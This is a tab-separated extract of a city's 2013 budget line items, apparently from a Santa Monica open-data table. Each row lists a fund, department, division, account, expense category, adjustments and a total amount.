1586	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2013	4682.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4682.0
1587	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2013	18006.0	0	0.0	0.0	0	0	0.0	724	0.0	0	0	0.0	18730.0
1588	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2013	100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100.0
1589	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2013	56270.0	0	0.0	0.0	0	0	0.0	563	0.0	0	0	0.0	56833.0
1590	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2013	205485.0	0	0.0	-33864.0	0	0	0.0	1716	0.0	0	0	0.0	173337.0
1591	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2013	204.0	0	0.0	-60.0	0	0	0.0	0	0.0	0	0	0.0	144.0
1592	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE	810.0	Salaries and Wages	2013	746.0	0	0.0	-190.0	0	0	0.0	0	0.0	0	0	0.0	556.0
1593	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2013	2121.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2121.0
1594	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	408000.0	INTERFUND SERVICES	650.0	Charges for Service	2013	-158695.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-158695.0
1595	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2013	21802.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	21802.0
1596	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2013	241236.0	0	0.0	0.0	0	0	0.0	2412	0.0	0	0	0.0	243648.0
1597	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		DISABILITY INSURANCE	804.0	Salaries and Wages	2013	9593.0	0	0.0	0.0	0	0	0.0	96	0.0	0	0	0.0	9689.0
1598	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2013	12250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12250.0
1599	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2013	1254938.0	0	0.0	0.0	0	0	0.0	61480	0.0	0	0	0.0	1316418.0
1600	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		DISABILITY INSURANCE	804.0	Salaries and Wages	2013	9043.0	0	0.0	0.0	0	0	0.0	413	0.0	0	0	0.0	9456.0
1601	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2013	539693.0	0	0.0	0.0	0	0	0.0	21315	0.0	0	0	0.0	561008.0
1602	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511748.0	DENTAL	804.0	Salaries and Wages	2013	6479.0	0	0.0	0.0	0	0	0.0	450	0.0	0	0	0.0	6929.0
1603	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		DCAP	804.0	Salaries and Wages	2013	468.0	0	0.0	0.0	0	0	0.0	30	0.0	0	0	0.0	498.0
1604	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2013	100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100.0
1605	B1	IS	55	Info Tech Rplcmnt & Svcs Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	400750.0	INT DEP / INVESTMENT	659.0	Investment Income	2013	-113000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-113000.0
1606	B1	IS	43	Gas Tax Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577040.0	AUDIT FEES	808.0	 Supplies and Expenses	2013	3500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3500.0
1607	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		DCAP	804.0	Salaries and Wages	2013	720.0	0	0.0	-12.0	0	0	0.0	0	0.0	0	0	0.0	708.0
1608	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	555210.0	TRAINING	804.0	 Supplies and Expenses	2013	63927.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	63927.0
1609	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2013	4908.0	0	0.0	0.0	0	0	0.0	49	0.0	0	0	0.0	4957.0
1610	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2013	55087.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	55087.0
1611	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511749.0	VISION	808.0	Salaries and Wages	2013	10817.0	0	0.0	137.0	-137	0	0.0	0	0.0	0	0	0.0	10817.0
1612	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2013	3824.0	0	0.0	0.0	0	0	0.0	38	0.0	0	0	0.0	3862.0
1613	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	511749.0	VISION	840.0	Salaries and Wages	2013	2985.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2985.0
1614	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2013	1688.0	0	0.0	0.0	0	0	0.0	17	0.0	0	0	0.0	1705.0
1615	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2013	19043.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	19043.0
1616	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2013	93780.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	93780.0
1617	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2013	208747.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	208747.0
1618	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2013	220158.0	0	0.0	0.0	0	0	0.0	3066	0.0	0	0	0.0	223224.0
1619	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		UNEMPLOYMENT	804.0	Salaries and Wages	2013	6426.0	0	0.0	0.0	0	0	0.0	224	0.0	0	0	0.0	6650.0
1620	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		EAP	804.0	Salaries and Wages	2013	835.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	835.0
1621	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		DCAP	804.0	Salaries and Wages	2013	576.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	576.0
1622	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		DISABILITY INSURANCE	804.0	Salaries and Wages	2013	5495.0	0	0.0	0.0	0	0	0.0	55	0.0	0	0	0.0	5550.0
1623	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		DCAP	804.0	Salaries and Wages	2013	360.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	360.0
1624	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		DISABILITY INSURANCE	804.0	Salaries and Wages	2013	10868.0	0	0.0	199.0	0	0	0.0	111	0.0	0	0	0.0	11178.0
1625	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		EAP	804.0	Salaries and Wages	2013	2175.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2175.0
1626	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		UNEMPLOYMENT	804.0	Salaries and Wages	2013	33350.0	0	0.0	0.0	0	0	0.0	334	0.0	0	0	0.0	33684.0
1627	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2013	2509.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2509.0
1628	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2013	2509.0	0	0.0	380.0	0	0	0.0	221	0.0	0	0	0.0	3110.0
1629	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D[	810.0	Salaries and Wages	2013	2151.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2151.0
1630	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2013	622.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	622.0
1631	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		LIFE INSURANCE & AD & D	812.0	Salaries and Wages	2013	6695.0	0	0.0	0.0	0	0	0.0	-48	0.0	0	0	0.0	6647.0
1632	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		EAP	816.0	Salaries and Wages	2013	726.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	726.0
1633	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2013	20777.0	0	0.0	0.0	0	0	0.0	308	0.0	0	0	0.0	21085.0
1634	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401003.0	SWIM CENTER-SWIM PASSES	612.0	Charges for Service	2013	-227623.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-227623.0
1635	B1	IS	20	Miscellaneous Grants Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	403370.0	MISCELLANEOUS LIBRARY GRANTS	622.0	Other	2013	0.0	0	0.0	0.0	0	0	0.0	0	344.0	0	0	0.0	344.0
1636	B1	IS	20	Miscellaneous Grants Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	403370.0	MISCELLANEOUS LIBRARY GRANTS	622.0	Other	2013	-2830.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2830.0
1637	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	408000.0	INTERFUND SERVICES-POLICE OSE	612.0	Charges for Service	2013	-1337277.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1337277.0
1638	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2013	453125.0	0	0.0	0.0	0	0	0.0	4531	0.0	0	0	0.0	457656.0
1639	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2013	1452.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1452.0
1640	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2013	4187.0	0	0.0	-1000.0	0	0	0.0	32	0.0	0	0	0.0	3219.0
1641	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2013	530.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	530.0
1642	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2013	411.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	411.0
1643	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE	810.0	Salaries and Wages	2013	997.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	997.0
1644	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2013	1955.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1955.0
1645	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2013	527.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	527.0
1646	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2013	3489.0	0	0.0	-1000.0	0	0	0.0	25	0.0	0	0	0.0	2514.0
1647	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2013	1145.0	0	0.0	-320.0	0	0	0.0	8	0.0	0	0	0.0	833.0
1648	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	406000.0	ESTIMATED FEE INCREASES	650.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
1649	B1	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577703.0	PROP A REIMBURSEMENT-ADMIN		 Supplies and Expenses	2013	-50000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-50000.0
1650	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2013	186130.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	186130.0
1651	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2013	227785.0	0	0.0	0.0	0	0	0.0	11672	0.0	0	0	0.0	239457.0
1652	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		DCAP	804.0	Salaries and Wages	2013	720.0	0	0.0	0.0	0	0	0.0	30	0.0	0	0	0.0	750.0
1653	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		UNEMPLOYMENT	804.0	Salaries and Wages	2013	2912.0	0	0.0	0.0	0	0	0.0	189	0.0	0	0	0.0	3101.0
1654	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2013	500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	500.0
1655	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		UNEMPLOYMENT	808.0	Salaries and Wages	2013	1193.0	397	0.0	0.0	0	0	0.0	811	0.0	0	0	0.0	2401.0
1656	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511748.0	DENTAL	840.0	Salaries and Wages	2013	14397.0	0	0.0	0.0	0	0	0.0	-241	0.0	0	0	0.0	14156.0
1657	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511749.0	VISION	840.0	Salaries and Wages	2013	2281.0	0	0.0	0.0	0	0	0.0	26	0.0	0	0	0.0	2307.0
1658	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2013	519648.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	519648.0
1659	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2013	150887.0	0	0.0	0.0	0	0	0.0	7787	0.0	0	0	0.0	158674.0
1660	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2013	196209.0	0	0.0	0.0	0	0	0.0	-267	0.0	0	0	0.0	195942.0
1661	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	408000.0	INTERFUND SERVICES-PKG OPS	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	-2046536	0	0.0	-2046536.0
1662	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	408000.0	INTERFUND SERVICES-ENG	612.0	Charges for Service	2013	-291316.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-291316.0
1663	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	511711.0	MEDICARE-POLICE	806.0	Salaries and Wages	2013	2438.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2438.0
1664	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2013	20184.0	0	0.0	0.0	0	0	0.0	202	0.0	0	0	0.0	20386.0
1665	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511713.0	MEDICARE-MISC EMPLOYEES	812.0	Salaries and Wages	2013	12177.0	0	0.0	0.0	0	0	0.0	122	0.0	0	0	0.0	12299.0
1666	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2013	55388.0	0	0.0	100.0	0	0	0.0	555	0.0	0	0	0.0	56043.0
1667	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401005.0	SWIM CENTER-ROOM RENTALS	612.0	Charges for Service	2013	-2700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2700.0
1668	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DCAP	808.0	Salaries and Wages	2013	492.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	492.0
1669	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401006.0	SWIM CENTER-SPECIAL CLASSES	612.0	Charges for Service	2013	-58867.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-58867.0
1670	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544390.0	OTHER COSTS	810.0	 Supplies and Expenses	2013	51215.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	51215.0
1671	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2013	1072.0	0	0.0	-190.0	0	0	0.0	0	0.0	0	0	0.0	882.0
1672	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522720.0	MILEAGE	810.0	 Supplies and Expenses	2013	100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100.0
1673	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2013	314688.0	0	0.0	0.0	0	0	0.0	3147	0.0	0	0	0.0	317835.0
1674	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2013	39059.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	39059.0
1675	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2013	216.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	216.0
1676	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2013	2239.0	0	0.0	0.0	0	0	0.0	22	0.0	0	0	0.0	2261.0
1677	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555940.0	GRAD NIGHT SUBSIDY	810.0	 Supplies and Expenses	2013	8535.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8535.0
1678	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555950.0	COMM SERV FACIL / MGMT	810.0	 Supplies and Expenses	2013	1159.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1159.0
1679	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2013	8200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8200.0
1680	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522720.0	MILEAGE	810.0	 Supplies and Expenses	2013	100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100.0
1681	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2013	160.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	160.0
1682	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561161.0	STEP UP-SANTUARY-GENERAL FUND		 Supplies and Expenses	2013	124478.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	124478.0
1683	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561201.0	CHRYSALIS-EMPLOY ASST-GEN FUND		 Supplies and Expenses	2013	274116.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	274116.0
1684	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562122.0	CHILD CARE CTR SUPPORT PROG		 Supplies and Expenses	2013	80000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	80000.0
1685	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562131.0	CIVIC CENTER MED-YOUTH PEER ME		 Supplies and Expenses	2013	52364.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	52364.0
1686	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563112.0	HEALTH CARE FOR SENIORS		 Supplies and Expenses	2013	92207.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	92207.0
1687	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	404770.0	PROP C LOCAL RETURN	610.0	Intergovernmental	2013	-1273801.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1273801.0
1688	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	555210.0	TRAINING	804.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
1689	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	407630.0	CONSTRUCTION & DEMO PERMIT FEE	650.0	Charges for Service	2013	-224637.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-224637.0
1690	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		SAFETY EXPENSES		 Supplies and Expenses	2013	1540.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1540.0
1691	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511741.0	MEDICAL - POLICE	806.0	Salaries and Wages	2013	518455.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	518455.0
1692	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511771.0	RETIREMENT - POLICE	806.0	Salaries and Wages	2013	994349.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	994349.0
1693	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511742.0	MEDICAL - FIRE	806.0	Salaries and Wages	2013	123852.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	123852.0
1694	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511772.0	RETIREMENT - FIRE	806.0	Salaries and Wages	2013	405513.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	405513.0
1695	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511745.0	MED TRUST - FIRE	806.0	Salaries and Wages	2013	12535.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12535.0
1696	B1	IS	1	General Fund	310	FIRE	315	TRAINING	511742.0	MEDICAL - FIRE	806.0	Salaries and Wages	2013	40182.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	40182.0
1697	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2013	36347.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	36347.0
1698	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2013	510354.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	510354.0
1699	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2013	88497.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	88497.0
1700	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2013	4387.0	0	0.0	0.0	0	0	0.0	44	0.0	0	0	0.0	4431.0
1701	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2013	10198.0	0	0.0	0.0	0	0	0.0	102	0.0	0	0	0.0	10300.0
1702	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511712.0	MEDICARE-FIRE	806.0	Salaries and Wages	2013	233693.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	233693.0
1703	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2013	6005.0	0	0.0	0.0	0	0	0.0	60	0.0	0	0	0.0	6065.0
1704	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2013	43636.0	0	0.0	0.0	0	0	0.0	436	0.0	0	0	0.0	44072.0
